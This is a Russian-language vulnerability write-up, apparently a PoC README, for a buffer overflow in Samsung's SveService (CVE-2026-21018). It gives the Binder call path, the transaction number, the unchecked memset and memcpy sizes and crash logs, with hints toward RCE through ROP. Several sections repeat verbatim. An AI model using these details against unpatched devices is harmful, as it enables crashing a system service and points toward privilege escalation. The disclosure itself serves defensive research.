
Минимальный PoC для CVE-2026-21018, демонстрирующий, как он работает
Samsung SMR May 2026
SVE-2026-0478(CVE-2026-21018)
Затронутые версии: Android 14, 15, 16
Статус раскрытия: Раскрыто в частном порядке
Выход за границы буфера в SveService до SMR May-2026 Release 1 позволяет локальным привилегированным злоумышленникам выполнять произвольный код.
Патч добавляет корректную проверку входных данных.
Уязвимость переполнения буфера в системной службе SveService (com.sec.sve) на устройствах Samsung под управлением Android 16. Служба работает как system (UID 1000) и доступна без каких-либо специальных разрешений через Binder.
| Компонент | Роль | Версия |
|---|---|---|
sveservice.apk | Служба Android | API 36 |
libsvejni.so | Нативная библиотека ARM64 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
В sveJNISVE_SetCodecInfo (libsvejni.so:0x21710) параметры i18, i19, i20 (полученные из AIDL как i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) передаются напрямую в memset, sub sp, sp, xN (alloca) и memcpy без какой-либо проверки размера.
Похожие функции (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) выполняют проверку с помощью cmp w20, #0x1e; b.gt (отклоняют > 30 байт). SetCodecInfo не проверяет вообще.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
Ожидаемый вывод:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() через app_process работает с UID оболочки (shell).signatureOrSystem НЕ применяется — служба регистрируется напрямую через ServiceManager.addService(), что обходит механизм разрешений Android.memset с 0xFFFFFFFF всегда вызывает крах. Для RCE потребовались бы утечка адреса + ROP (на SM-A175F PAC отсутствует).Уязвимость переполнения буфера в системной службе SveService (com.sec.sve) на устройствах Samsung под управлением Android 16. Служба работает как system (UID 1000) и доступна без каких-либо специальных разрешений через Binder.
| Компонент | Роль | Версия |
|---|---|---|
sveservice.apk | Служба Android | API 36 |
libsvejni.so | Нативная библиотека ARM64 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
В функции sveJNISVE_SetCodecInfo (libsvejni.so:0x21710) параметры i18, i19, i20 (полученные из AIDL как i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) используются напрямую в качестве аргументов для memset, sub sp, sp, xN (alloca) и memcpy без какой-либо проверки размера.
Другие похожие функции (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) выполняют проверку с помощью cmp w20, #0x1e; b.gt (отклоняют > 30 байт). SetCodecInfo не проверяет ничего.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)cd poc
./build_and_run.sh
Ожидаемый вывод:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() через app_process работает с UID оболочки (shell).signatureOrSystem НЕ применяется — служба регистрируется напрямую через ServiceManager.addService(), что обходит проверку разрешений.memset с 0xFFFFFFFF всегда вызывает крах. Для RCE потребовались бы утечка адреса + ROP (на SM-A175F PAC отсутствует).| Операция | Значение | Эффект |
|---|
(i18 + 15) & ~15 | 0 | Выделяет 0 байт |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Пытается обнулить 4 ГБ → SIGSEGV |
sxtw(i18) для memcpy | 0xFFFFFFFFFFFFFFFF | Знаковое расширение -1 → ~18 эксабайт |
| Операция | Значение | Эффект |
|---|
(i18 + 15) & ~15 | 0 | Выделяет 0 байт |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Пытается обнулить 4 ГБ → SIGSEGV |
sxtw(i18) для memcpy | 0xFFFFFFFFFFFFFFFF | Знаковое расширение -1 → ~18 эксабайт |